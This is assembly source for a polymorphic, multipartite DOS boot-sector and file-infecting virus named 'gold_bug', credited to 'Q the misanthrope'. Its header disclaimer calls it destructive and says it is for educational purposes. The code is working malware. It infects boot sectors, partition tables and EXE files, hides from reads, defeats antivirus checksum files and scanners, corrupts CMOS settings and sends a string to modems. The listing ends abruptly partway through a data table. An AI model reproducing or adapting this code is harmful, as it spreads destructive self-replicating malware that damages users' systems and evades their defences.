cseg		segment	para	public	'code'

gold_bug	proc	near

assume		cs:cseg



;-----------------------------------------------------------------------------



;designed by "Q" the misanthrope.



;-----------------------------------------------------------------------------



; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.

;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE

;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO

;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE

;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I

;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.

;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!



;-----------------------------------------------------------------------------



.186

TRUE		equ	001h

FALSE		equ	000h



;-----------------------------------------------------------------------------



;option				     bytes used	and where



DELETE_SCANNERS	equ	FALSE	; -2 bytes  -2 in com_code

CHECK_FOR_8088	equ	TRUE	;  4 bytes   4 in com_code

INFECT_RANDOM	equ	TRUE	;  4 bytes   4 in com_code

CMOS_BOMB	equ	TRUE	;  4 bytes   4 in com_code

DEFLECT_DELETE	equ	TRUE	;  5 bytes   5 in com_code

READING_STEALTH	equ	TRUE	;  5 bytes   5 in com_code

SAME_FILE_DATE	equ	TRUE	; 24 bytes  24 in com_code

DOUBLE_DECRIPT	equ	TRUE	; 26 bytes  26 in com_code

EXECUTE_SPAWNED	equ	TRUE	; 35 bytes  32 in com_code  3 in boot_code

MODEM_CODE	equ	TRUE	; 40 bytes  29 in com_code 11 in boot_code

ANTI_ANTIVIRUS	equ	TRUE	; 46 bytes  35 in com_code 11 in boot_code

POLYMORPHIC	equ	TRUE	; 90 bytes  74 in com_code 16 in boot_code

MULTIPARTITE	equ	TRUE	;372 bytes 346 in com_code 26 in boot_code



;-----------------------------------------------------------------------------



;floppy	boot infection



FLOPPY_1_2M	equ	001h

FLOPPY_760K	equ	000h

FLOPPY_TYPE	equ	FLOPPY_1_2M



;-----------------------------------------------------------------------------



IFE MULTIPARTITE

DELETE_SCANNERS	equ	FALSE

CHECK_FOR_8088	equ	FALSE

INFECT_RANDOM	equ	FALSE

DEFLECT_DELETE	equ	FALSE

READING_STEALTH	equ	FALSE

SAME_FILE_DATE	equ	FALSE

EXECUTE_SPAWNED	equ	FALSE

POLYMORPHIC	equ	FALSE

ENDIF



;-----------------------------------------------------------------------------



SECTOR_SIZE	equ	00200h

RES_OFFSET	equ	0fb00h

COM_OFFSET	equ	00100h

RELATIVE_OFFSET	equ	RES_OFFSET-COM_OFFSET

PART_OFFSET	equ	COM_OFFSET+SECTOR_SIZE

BOOT_OFFSET	equ	07c00h

RELATIVE_BOOT	equ	BOOT_OFFSET-PART_OFFSET

LOW_JMP_10	equ	0031ch

LOW_JMP_21	equ	00321h

SAVE_INT_CHAIN	equ	0032ch

SCRATCH_AREA	equ	08000h

HEADER_SEGMENT	equ	00034h

INT_21_IS_NOW	equ	0cch

BIOS_INT_13	equ	0c6h

NEW_INT_13_LOOP	equ	0cdh

BOOT_SECTOR	equ	001h

DESCRIPTOR_OFF	equ	015h

IF FLOPPY_TYPE EQ FLOPPY_1_2M

DESCRIPTOR	equ	0f909h

OLD_BOOT_SECTOR	equ	00eh

COM_CODE_SECTOR	equ	00dh

ELSE

DESCRIPTOR	equ	0f905h

OLD_BOOT_SECTOR	equ	005h

COM_CODE_SECTOR	equ	004h

ENDIF

READ_ONLY	equ	001h

SYSTEM		equ	004h

DELTA_RI	equ	004h

DSR		equ	020h

CTS		equ	010h

CD		equ	080h

FAR_JUMP	equ	0eah

MIN_FILE_SIZE	equ	00500h

PSP_SIZE	equ	00100h

VIRGIN_INT_13_A	equ	00806h

VIRGIN_INT_13_B	equ	007b4h

VIRGIN_INT_2F	equ	00706h

FAR_JUMP_OFFSET	equ	006h

SET_INT_OFFSET	equ	007h

CHANGE_SEG_OFF	equ	009h

VIDEO_MODE	equ	00449h

MONOCHROME	equ	007h

COLOR_VIDEO_MEM	equ	0b000h

ADDR_MUL	equ	004h

SINGLE_BYTE_INT	equ	003h

VIDEO_INT	equ	010h

VIDEO_INT_ADDR	equ	VIDEO_INT*ADDR_MUL

DISK_INT	equ	013h

DISK_INT_ADDR	equ	DISK_INT*ADDR_MUL

SERIAL_INT	equ	014h

DOS_INT		equ	021h

DOS_INT_ADDR	equ	DOS_INT*ADDR_MUL

MULTIPLEX_INT	equ	02fh

COMMAND_LINE	equ	080h

FIRST_FCB	equ	05ch

SECOND_FCB	equ	06ch

NULL		equ	00000h

GET_PORT_STATUS	equ	00300h

WRITE_TO_PORT	equ	00100h

HD_0_HEAD_0	equ	00080h

READ_A_SECTOR	equ	00201h

WRITE_A_SECTOR	equ	00301h

GET		equ	000h

SET		equ	001h

DELETE_W_FCB	equ	01300h

DEFAULT_DRIVE	equ	000h

GET_DEFAULT_DR	equ	01900h

DOS_SET_INT	equ	02500h

FILE_DATE_TIME	equ	05700h

DENYNONE	equ	040h

OPEN_W_HANDLE	equ	03d00h

READ_W_HANDLE	equ	03f00h

WRITE_W_HANDLE	equ	04000h

CLOSE_HANDLE	equ	03e00h

UNLINK		equ	04100h

FILE_ATTRIBUTES	equ	04300h

RESIZE_MEMORY	equ	04a00h

QUERY_FREE_HMA	equ	04a01h

ALLOCATE_HMA	equ	04a02h

EXEC_PROGRAM	equ	04b00h

GET_ERROR_LEVEL	equ	04d00h

TERMINATE_W_ERR	equ	04c00h

RENAME_A_FILE	equ	05600h

LSEEK_TO_END	equ	04202h

CREATE_NEW_FILE	equ	05b00h

RESIDENT_LENGTH	equ	068h

PARAMETER_TABLE	equ	005f1h

MAX_PATH_LENGTH	equ	00080h

EXE_HEADER_SIZE	equ	020h

NEW_EXE_HEADER	equ	00040h

NEW_EXE_OFFSET	equ	018h

PKLITE_SIGN	equ	'KP'

PKLITE_OFFSET	equ	01eh

NO_OF_COM_PORTS	equ	004h

WINDOWS_BEGIN	equ	01605h

WINDOWS_END	equ	01606h

ERROR_IN_EXE	equ	0000bh

IF POLYMORPHIC

FILE_SIGNATURE	equ	07081h

XOR_SWAP_OFFSET	equ	byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES

FILE_LEN_OFFSET	equ	byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES

FIRST_UNDO_OFF	equ	byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE)

SECOND_UNDO_OFF	equ	byte ptr ((offset second_jmp)-(offset com_code))

BL_BX_OFFSET	equ	byte ptr ((offset incbl_incbx)-(offset com_code))

ROTATED_OFFSET	equ	byte ptr ((offset rotated_code)-(offset	com_code))

ELSE

FILE_SIGNATURE	equ	0070eh

ENDIF

IF MODEM_CODE

STRING_LENGTH	equ	byte ptr ((offset partition_sig)-(offset string))

ENDIF

IF EXECUTE_SPAWNED

EXEC_SUBTRACT	equ	byte ptr ((offset file_name)-(offset exec_table))

ENDIF

DH_OFFSET	equ	byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES)

ONE_NIBBLE	equ	004h

ONE_BYTE	equ	001h

TWO_BYTES	equ	002h

THREE_BYTES	equ	003h

FOUR_BYTES	equ	004h

FIVE_BYTES	equ	005h

FIVE_BITS	equ	005h

EIGHT_BYTES	equ	008h

USING_HARD_DISK	equ	080h

KEEP_CF_INTACT	equ	002h

CMOS_CRC_ERROR	equ	02eh

CMOS_PORT	equ	070h

REMOVE_NOP	equ	001h

CR		equ	00dh

LF		equ	00ah

INT3_INCBX	equ	043cch

INC_BL		equ	0c3feh

INCBX_INCBL_XOR	equ	INT3_INCBX XOR INC_BL

JMP_NO_SIGN	equ	079h

JMP_NOT_ZERO	equ	075h

JNS_JNZ_XOR	equ	JMP_NO_SIGN XOR	JMP_NOT_ZERO

CLI_PUSHCS	equ	00efah



;-----------------------------------------------------------------------------



video_seg	segment	at 0c000h

		org	00000h

original_int_10	label	word

video_seg	ends



;-----------------------------------------------------------------------------



io_seg		segment	at 00070h

		org	00893h

original_2f_jmp	label	word

io_seg		ends



;-----------------------------------------------------------------------------



		org	COM_OFFSET

com_code:



;-----------------------------------------------------------------------------



		IF	POLYMORPHIC

first_decode	proc	near

serial_number:	xor	word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE

		org	$-REMOVE_NOP

		org	$-FIVE_BYTES

		jmp	load_it

		org	$+TWO_BYTES

rotated_code:	int	SINGLE_BYTE_INT

		into

		adc	al,0d4h

incbl_incbx:	inc	bl

first_jmp:	jnz	serial_number

		add	bx,si

		jns	serial_number

first_decode	endp



;-----------------------------------------------------------------------------



		IF	DOUBLE_DECRIPT

second_decode	proc	near

		push	si

get_next_byte:	lodsw

		add	bx,ax

		inc	bx

		xor	byte ptr ds:[si+SECOND_UNDO_OFF],bl

		org	$-REMOVE_NOP

		dec	si

second_jmp:	jns	get_next_byte

		pop	si

second_decode	endp

		ENDIF

		ENDIF



;-----------------------------------------------------------------------------



com_start	proc	near

		IF	MULTIPARTITE

		push	cs

		pop	es

		call	full_move_w_si

		mov	ds,cx

		cmp	cx,word	ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]

		jne	dont_set_int

		mov	di,VIRGIN_INT_13_B

		call	set_both_ints

		push	cs

		pop	es

		ENDIF

dont_set_int:	IF	CHECK_FOR_8088

		mov	cl,RESIDENT_LENGTH

		mov	al,high(RESIZE_MEMORY)

		shl	ax,cl

		mov	bx,cx

		int	DOS_INT

		ELSEIF	MULTIPARTITE

		mov	bx,RESIDENT_LENGTH

		mov	ah,high(RESIZE_MEMORY)

		int	DOS_INT

		ENDIF

		IF	EXECUTE_SPAWNED

		pusha

		call	from_com_code+RELATIVE_OFFSET

		popa

		push	cs

		pop	ds

		push	cs

		pop	es

		cmpsw

		mov	dx,si

		sub	si,EXEC_SUBTRACT

		org	$-REMOVE_NOP

		mov	bx,PARAMETER_TABLE

		mov	di,bx

		mov	ax,EXEC_PROGRAM

set_table:	scasw

		movsb

		scasb

		mov	word ptr ds:[di],ds

		je	set_table

		int	DOS_INT

		mov	ah,high(GET_ERROR_LEVEL)

		int	DOS_INT

		mov	ah,high(TERMINATE_W_ERR)

		ELSEIF	MULTIPARTITE

		call	from_com_code+RELATIVE_OFFSET

		mov	ax,TERMINATE_W_ERR

		ENDIF

		IF	MULTIPARTITE

		int	DOS_INT

		ELSE

		jmp	boot_load

		ENDIF

com_start	endp



;-----------------------------------------------------------------------------



interrupt_21	proc	far

		pushf

		pusha

		push	ds

		push	es

		mov	di,dx

		push	ds

		pop	es

		cld

		mov	cx,MAX_PATH_LENGTH

		IF	MULTIPARTITE

		mov	si,offset file_name+RELATIVE_OFFSET

		ENDIF

		IF	READING_STEALTH	OR DEFLECT_DELETE

		mov	bx,ax

		ENDIF

		cmp	ax,EXEC_PROGRAM

		IF	READING_STEALTH

		je	start_process

		cmp	ah,high(OPEN_W_HANDLE)

		ENDIF

		IF	DEFLECT_DELETE

		je	start_process

		cmp	ah,high(UNLINK)

		ENDIF

		jne	a_return

start_process:	xor	ax,ax

copy_name:	IF	MULTIPARTITE

		mov	bl,byte	ptr ds:[di]

		mov	byte ptr cs:[si],bl

		inc	si

		ENDIF

		scasb

		loopne	copy_name

		std

		scasw

		IF	MULTIPARTITE

		mov	byte ptr cs:[si-FIVE_BYTES],al

		ENDIF

		mov	al,'E'

		scasw

		jne	a_return

		mov	ah,'X'

		scasw

		jne	a_return

		IF	MULTIPARTITE

		push	ds

		ENDIF

		pusha

		call	open_close_file

		IF	SAME_FILE_DATE

		mov	word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx

		mov	word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx

		ENDIF

		or	si,si

		IF	MULTIPARTITE

		jnz	large_exe_file

		cmp	word ptr ds:[si],FILE_SIGNATURE

		je	our_kind

		IF	INFECT_RANDOM

		xor	di,bp

		jpo	our_kind

		ENDIF

		cmp	word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER

		jb	test_if_open

		cmp	word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN

		je	test_if_open

		ELSE

		jz	our_kind

		ENDIF

large_exe_file:	popa

		IF	MULTIPARTITE

		pop	ds

		ENDIF

		IF	ANTI_ANTIVIRUS

		mov	al,'N'

		scasb

		ja	a_return

		mov	al,'A'

		scasb

		jne	a_return

		pop	es

		pop	ds

		popa

		IF	READING_STEALTH	OR DEFLECT_DELETE

		cmp	ah,high(EXEC_PROGRAM)

		jne	opened_file

		ENDIF

		popf

		IF	CMOS_BOMB

		mov	al,CMOS_CRC_ERROR

		out	CMOS_PORT,ax

		ENDIF

		IF	DELETE_SCANNERS

		mov	ah,high(UNLINK)

		jmp	short old_int_10_21

		ELSE

		mov	al,ERROR_IN_EXE

		stc

		retf	KEEP_CF_INTACT

		ENDIF

		ELSE

		jmp	short a_return

		ENDIF

our_kind:	popa

		IF	MULTIPARTITE

		pop	ds

error_in_copy:	inc	di

		xchg	byte ptr ds:[di],ch

		mov	ax,OPEN_W_HANDLE+DENYNONE

		int	INT_21_IS_NOW

		mov	bx,ax

		jnc	close_it

		mov	byte ptr ds:[di],ch

jmp_a_return:	jmp	short a_return

close_it:	call	force_close

		ENDIF

a_return:	pop	es

		pop	ds

		popa

opened_file:	popf

old_int_10_21:	jmp	far ptr	original_int_10

		IF	MULTIPARTITE

test_if_open:	popa

		pop	ds

		IF	READING_STEALTH	OR DEFLECT_DELETE

		cmp	bh,high(EXEC_PROGRAM)

		jne	error_in_copy

		ENDIF

drive_letter:	sub	al,USING_HARD_DISK

		jns	error_in_copy

		mov	ax,GET+FILE_ATTRIBUTES

		int	INT_21_IS_NOW

		mov	ah,high(RENAME_A_FILE)

		pusha

		mov	di,offset file_name+RELATIVE_OFFSET

		push	cs

		pop	es

		int	INT_21_IS_NOW

set_attribs:	popa

		int	INT_21_IS_NOW

		mov	ah,high(CREATE_NEW_FILE)

		int	INT_21_IS_NOW

		jc	error_in_copy

		mov	bx,ax

		mov	ax,SET+FILE_ATTRIBUTES

		pusha

		push	ds

		push	cs

		pop	ds

		or	cl,SYSTEM

		mov	dx,offset file_name+RELATIVE_OFFSET

		int	INT_21_IS_NOW

		IF	ANTI_ANTIVIRUS

		mov	dx,offset fcb_name+RELATIVE_OFFSET

		mov	ah,high(DELETE_W_FCB)

		int	INT_21_IS_NOW

		ENDIF

		xor	di,di

		mov	ax,SCRATCH_AREA

		mov	es,ax

		mov	ds,ax

		call	full_move

		call	move_some_more

		IF	POLYMORPHIC

		xor	si,si

		mov	cx,word	ptr ds:[si+FILE_LEN_OFFSET]

		org	$-REMOVE_NOP

		IF	DOUBLE_DECRIPT

		pusha

set_second:	add	al,byte	ptr cs:[si+RES_OFFSET]

		inc	ax

		xor	byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al

		org	$-REMOVE_NOP

		inc	si

		loop	set_second

		popa

		ENDIF

		mov	ax,cx

		pusha

		xor	bx,bx

		mov	bl,byte	ptr ds:[si+XOR_SWAP_OFFSET]

		org	$-REMOVE_NOP

set_first:	xor	word ptr ds:[bx],ax

		inc	bx

		loop	set_first

		popa

		ELSE

file_length:	mov	cx,NULL

		ENDIF

		mov	ah,high(WRITE_W_HANDLE)

                cwd

		int	INT_21_IS_NOW

		IF	SAME_FILE_DATE

		mov	ax,SET+FILE_DATE_TIME

new_time:	mov	cx,NULL

new_date:	mov	dx,NULL

		call	do_int21_close

		ELSE

		call	force_close

		ENDIF

		pop	ds

		jmp	short set_attribs

		ENDIF

interrupt_21	endp



;-----------------------------------------------------------------------------



open_close_file	proc	near

		mov	ax,OPEN_W_HANDLE+DENYNONE

		xor	cx,cx

		int	INT_21_IS_NOW

		jc	more_returns

		mov	bx,ax

		IF	MULTIPARTITE

		mov	dx,HEADER_SEGMENT

		mov	ds,dx

		ENDIF

		IF	MODEM_CODE

		IF	MULTIPARTITE

		mov	dl,NO_OF_COM_PORTS

		ELSE

		mov	dx,NO_OF_COM_PORTS

		ENDIF

scan_coms:	dec	dx

		js	no_more_coms

		mov	ax,GET_PORT_STATUS

		int	SERIAL_INT

		xor	al,DELTA_RI+CTS+DSR

		and	al,DELTA_RI+CTS+DSR+CD

		jnz	scan_coms

		mov	si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET

		mov	cl,STRING_LENGTH

output_data:	lods	byte ptr cs:[si]

		mov	ah,high(WRITE_TO_PORT)

		int	SERIAL_INT

		loop	output_data

		ENDIF

no_more_coms:	IF	MULTIPARTITE

		mov	cl,EXE_HEADER_SIZE

		mov	ah,high(READ_W_HANDLE)

                cwd

		int	INT_21_IS_NOW

		xor	cx,cx

                ELSE

                xor	dx,dx

		ENDIF

		mov	ax,LSEEK_TO_END

		int	INT_21_IS_NOW

		IF	MULTIPARTITE

		IF	POLYMORPHIC

		mov	word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax

		ELSE

		mov	word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax

		ENDIF

		ENDIF

		inc	ah

		cmp	ax,MIN_FILE_SIZE+PSP_SIZE

		adc	dx,cx

		mov	si,dx

		IF	SAME_FILE_DATE

		mov	ax,GET+FILE_DATE_TIME

do_int21_close:	int	INT_21_IS_NOW

		ENDIF

force_close:	mov	ah,high(CLOSE_HANDLE)

		int	INT_21_IS_NOW

more_returns:	ret

open_close_file	endp



;-----------------------------------------------------------------------------



full_move_w_si	proc	near

		IF	POLYMORPHIC

swap_incbx_bl:	xor	word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR

		org	$-REMOVE_NOP

		xor	byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR

		org	$-REMOVE_NOP

		ENDIF

		stc

full_move_w_di:	mov	di,RES_OFFSET

full_move:	call	move_code

move_code:	jc	move_some_more

		mov	si,RES_OFFSET

		IF	POLYMORPHIC

		IF	CHECK_FOR_8088

		mov	cl,ONE_NIBBLE

		ror	word ptr cs:[si+ROTATED_OFFSET],cl

		org	$-REMOVE_NOP

		ELSE

		ror	word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE

		org	$-REMOVE_NOP

		ENDIF

		ENDIF

move_some_more:	mov	cx,SECTOR_SIZE

		pushf

		cld

		rep	movs byte ptr es:[di],cs:[si]

		popf

		stc

		ret

full_move_w_si	endp



;-----------------------------------------------------------------------------



		IF	ANTI_ANTIVIRUS

		org	PART_OFFSET-ONE_BYTE

fcb_name	db	DEFAULT_DRIVE

		ENDIF



;-----------------------------------------------------------------------------



		org	PART_OFFSET

boot_code:



;-----------------------------------------------------------------------------



initialize_boot	proc	near

		IF	ANTI_ANTIVIRUS

		db	'CHKLIST????'

		cli

		push	cs

		mov	si,BOOT_OFFSET-SECTOR_SIZE

		pop	ss

		mov	sp,si

		sti

		push	cs

		org	PART_OFFSET+DESCRIPTOR_OFF

		db	high(DESCRIPTOR)

		pop	ds

		mov	cx,COM_CODE_SECTOR

		pushf

		push	cs

		push	BOOT_OFFSET

		mov	ax,READ_A_SECTOR

		ELSE

		cli

		push	cs

		mov	si,BOOT_OFFSET-SECTOR_SIZE

		pop	ss

		mov	sp,si

		sti

		pushf

		push	cs

		push	BOOT_OFFSET

		push	cs

		mov	cx,COM_CODE_SECTOR

		mov	ax,READ_A_SECTOR

		org	PART_OFFSET+DESCRIPTOR_OFF

		db	high(DESCRIPTOR)

		pop	ds

		ENDIF

		push	cs

		pop	es

dh_value:	mov	dx,NULL

		mov	bx,dx

		xor	dh,al

		shr	dx,1

		mov	dh,bh

		push	dx

		mov	bx,si

		push	ax

		int	DISK_INT

		pop	ax

		mov	di,VIDEO_INT_ADDR

		mov	bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE

		call	get_n_set_int+ONE_BYTE

		mov	bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET

		cmp	dx,LOW_JMP_10

		je	try_this_out

		cmp	byte ptr ds:[VIDEO_MODE],MONOCHROME

		jae	try_this_out

		mov	di,DISK_INT_ADDR

		IF	MULTIPARTITE

		call	set_both_ints

		ELSE

		mov	bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET

		call	get_n_set_int+ONE_BYTE

		mov	bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET

		call	set_interrupt

		ENDIF

		mov	ch,high(COLOR_VIDEO_MEM)

		mov	bx,offset high_code+RELATIVE_OFFSET

try_this_out:	push	cx

		push	bx

		mov	es,cx

		call	full_move_w_si

		retf

initialize_boot	endp



;-----------------------------------------------------------------------------



high_code	proc	near

		mov	dx,offset int_10_start+RELATIVE_OFFSET

		mov	bx,LOW_JMP_10-FAR_JUMP_OFFSET

		call	set_int_10_21

		mov	bx,VIDEO_INT_ADDR-SET_INT_OFFSET

low_code:	mov	es,cx

		mov	cl,OLD_BOOT_SECTOR

		mov	dx,LOW_JMP_10

		call	set_interrupt

		mov	bx,BOOT_OFFSET

		pop	dx

		int	DISK_INT

		xor	dh,dh

		mov	cl,BOOT_SECTOR

		mov	ax,WRITE_A_SECTOR

high_code	endp



;-----------------------------------------------------------------------------



interrupt_13	proc	far

int_13_start:	IF	MULTIPARTITE

		mov	byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl

		ENDIF

		cmp	cx,BOOT_SECTOR

		jne	no_boot_sector

		cmp	ah,high(READ_A_SECTOR)

		jne	no_boot_sector

		cmp	dx,HD_0_HEAD_0

		jbe	reread_boot

no_boot_sector:	int	NEW_INT_13_LOOP

		jmp	short return_far

reread_boot:	int	NEW_INT_13_LOOP

		jc	return_far

		pusha

		push	ds

		push	es

		pop	ds

check_old_boot:	mov	ax,READ_A_SECTOR

		xor	dh,dh

		mov	cl,OLD_BOOT_SECTOR

		IF	ANTI_ANTIVIRUS

		cmp	word ptr ds:[bx],'HC'

		ELSE

		cmp	word ptr ds:[bx],CLI_PUSHCS

		ENDIF

		je	read_old_boot

		test	dl,USING_HARD_DISK

		jnz	encode_hd

		cmp	word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR

		jne	time_to_leave

		mov	dh,al

		pusha

		int	NEW_INT_13_LOOP

		cmp	byte ptr ds:[bx],ch

		popa

		pushf

		pusha

		xor	dh,dh

		mov	cl,al

		int	NEW_INT_13_LOOP

		popa

		popf

		jne	time_to_leave

encode_hd:	mov	ah,high(WRITE_A_SECTOR)

		push	ax

		int	NEW_INT_13_LOOP

		pop	ax

		jc	time_to_leave

		mov	di,bx

		call	move_code

		mov	cl,COM_CODE_SECTOR

		IF	POLYMORPHIC

		xor	byte ptr ds:[bx+XOR_SWAP_OFFSET],dh

		org	$-REMOVE_NOP

		jo	dont_flip_it

		xchg	word ptr ds:[bx+ROTATED_OFFSET],ax

		org	$-REMOVE_NOP

		xchg	ah,al

		xchg	word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax

		org	$-REMOVE_NOP

		xchg	word ptr ds:[bx+ROTATED_OFFSET],ax

		org	$-REMOVE_NOP

		ENDIF

dont_flip_it:	pusha

		int	NEW_INT_13_LOOP

		popa

		mov	di,bx

		call	move_some_more

		mov	byte ptr ds:[bx+DH_OFFSET],dh

		org	$-REMOVE_NOP

		mov	dh,cl

		inc	cx

		int	NEW_INT_13_LOOP

		jmp	short check_old_boot

read_old_boot:	mov	dh,byte	ptr ds:[bx+DH_OFFSET]

		org	$-REMOVE_NOP

		int	NEW_INT_13_LOOP

time_to_leave:	pop	ds

		popa

		clc

return_far:	retf	KEEP_CF_INTACT

interrupt_13	endp



;-----------------------------------------------------------------------------



interrupt_2f	proc	far

		pusha

		push	ds

		push	es

		push	offset return_to_2f+RELATIVE_OFFSET

		xor	cx,cx

		mov	ds,cx

		mov	bx,SAVE_INT_CHAIN-SET_INT_OFFSET

		cmp	ax,WINDOWS_END

		jne	try_another

		les	dx,dword ptr ds:[bx+SET_INT_OFFSET]

		jmp	short set_13_chain

try_another:	cmp	ax,WINDOWS_BEGIN

		jne	another_return

		mov	di,VIRGIN_INT_13_B

		call	get_n_set_int+ONE_BYTE

		les	dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]

set_13_chain:	mov	ax,READ_A_SECTOR

		call	get_set_part

		mov	bx,VIRGIN_INT_13_B-SET_INT_OFFSET

		call	set_interrupt

		mov	bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)

		call	set_interrupt

		mov	ah,high(WRITE_A_SECTOR)

interrupt_2f	endp



;-----------------------------------------------------------------------------



get_set_part	proc	near

		pusha

		push	es

		mov	bx,SCRATCH_AREA

		mov	es,bx

		mov	dx,HD_0_HEAD_0

		inc	cx

		int	NEW_INT_13_LOOP

		mov	ax,READ_A_SECTOR

		int	DISK_INT

		pop	es

		popa

another_return:	ret

get_set_part	endp



;-----------------------------------------------------------------------------



return_to_2f	proc	near

		pop	es

		pop	ds

		popa

		jmp	far ptr	original_2f_jmp

return_to_2f	endp



;-----------------------------------------------------------------------------



interrupt_10	proc	far

int_10_start:	pushf

		pusha

		push	ds

		push	es

		push	offset a_return+RELATIVE_OFFSET

from_com_code:	xor	bx,bx

		mov	ds,bx

		or	ah,ah

		jz	set_10_back

		mov	ax,QUERY_FREE_HMA

		int	MULTIPLEX_INT

		cmp	bh,high(MIN_FILE_SIZE+SECTOR_SIZE)

		jb	another_return

		mov	ax,ALLOCATE_HMA

		int	MULTIPLEX_INT

		clc

		call	full_move_w_di

		mov	dx,offset int_13_start+RELATIVE_OFFSET

		call	set_13_chain

		mov	bx,VIRGIN_INT_2F-SET_INT_OFFSET

		mov	dx,offset interrupt_2f+RELATIVE_OFFSET

		call	set_interrupt

		cmp	word ptr ds:[LOW_JMP_10],cx

		je	set_10_back

		push	es

		push	es

		mov	di,DOS_INT_ADDR

		mov	bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET

		call	get_n_set_int+ONE_BYTE

		pop	ds

		mov	bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE

		call	set_interrupt

		mov	ds,cx

		mov	ax,DOS_SET_INT+DOS_INT

		mov	dx,LOW_JMP_21

		int	INT_21_IS_NOW

		pop	es

		mov	bx,dx

		mov	dx,offset interrupt_21+RELATIVE_OFFSET

		mov	word ptr ds:[bx],0b450h

		mov	word ptr ds:[bx+TWO_BYTES],0cd19h

		mov	word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW

		call	set_int_10_21

set_10_back:	mov	di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE

		mov	bx,LOW_JMP_10-FAR_JUMP_OFFSET

interrupt_10	endp



;-----------------------------------------------------------------------------



get_n_set_int	proc	near

		les	dx,dword ptr cs:[di]

		jmp	short set_interrupt

set_int_10_21:	mov	byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP

set_interrupt:	mov	word ptr ds:[bx+SET_INT_OFFSET],dx

		mov	word ptr ds:[bx+CHANGE_SEG_OFF],es

		ret

get_n_set_int	endp



;-----------------------------------------------------------------------------



		IF	MULTIPARTITE

set_both_ints	proc	near

		mov	bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET

		call	get_n_set_int+ONE_BYTE

		mov	bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET

		jmp	short set_interrupt

set_both_ints	endp

		ENDIF



;-----------------------------------------------------------------------------



		IF	EXECUTE_SPAWNED

exec_table	db	COMMAND_LINE,FIRST_FCB,SECOND_FCB

		ENDIF



;-----------------------------------------------------------------------------



		IF	MODEM_CODE

		org	PART_OFFSET+001f3h

string		db	CR,'1O7=0SLMTA'

		ENDIF



;-----------------------------------------------------------------------------



		org	PART_OFFSET+SECTOR_SIZE-TWO_BYTES

partition_sig	dw	0aa55h



;-----------------------------------------------------------------------------



		org	PART_OFFSET+SECTOR_SIZE+TWO_BYTES

file_name	db	'DA',027h,'BOYS.COM',NULL



;-----------------------------------------------------------------------------



		org	PARAMETER_TABLE

		dw	NULL,NULL,NULL,NULL,NULL,NULL,NULL

		db	NULL



;-----------------------------------------------------------------------------



		IFE	MULTIPARTITE

boot_load	proc	near

		push	cs

		pop	es

		call	full_move_w_si

		mov	ds,cx

		cmp	cx,word	ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]

		jne	dont_set_intcd

		lds	dx,dword ptr ds:[VIRGIN_INT_13_B]

		mov	ax,DOS_SET_INT+NEW_INT_13_LOOP

		int	DOS_INT

dont_set_intcd:	mov	ah,high(GET_DEFAULT_DR)

		int	DOS_INT

		call	from_com_code+RELATIVE_OFFSET

		mov	ax,TERMINATE_W_ERR

		int	DOS_INT

boot_load	endp

		ENDIF



;-----------------------------------------------------------------------------



		IF	POLYMORPHIC

load_it		proc	near

		mov	word ptr ds:[si],FILE_SIGNATURE

		mov	byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF

		push	bx

		xor	ax,ax

		cli

		out	043h,al

		in	al,040h

		mov	ah,al

		in	al,040h

		sti

		push	ax

		and	ax,0001eh

		mov	bx,ax

		mov	ax,word	ptr ds:[bx+two_byte_table]

		mov	word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax

		org	$-REMOVE_NOP

		pop	ax

		and	ax,003e0h

		mov	cl,FIVE_BITS

		shr	ax,cl

		mov	bx,ax

		mov	al,byte	ptr ds:[bx+one_byte_table]

		xor	al,low(INC_BL)

		mov	byte ptr ds:[swap_incbx_bl+THREE_BYTES],al

		pop	bx

		jmp	com_start

load_it		endp



;-----------------------------------------------------------------------------



two_byte_table:	mov	al,0b2h

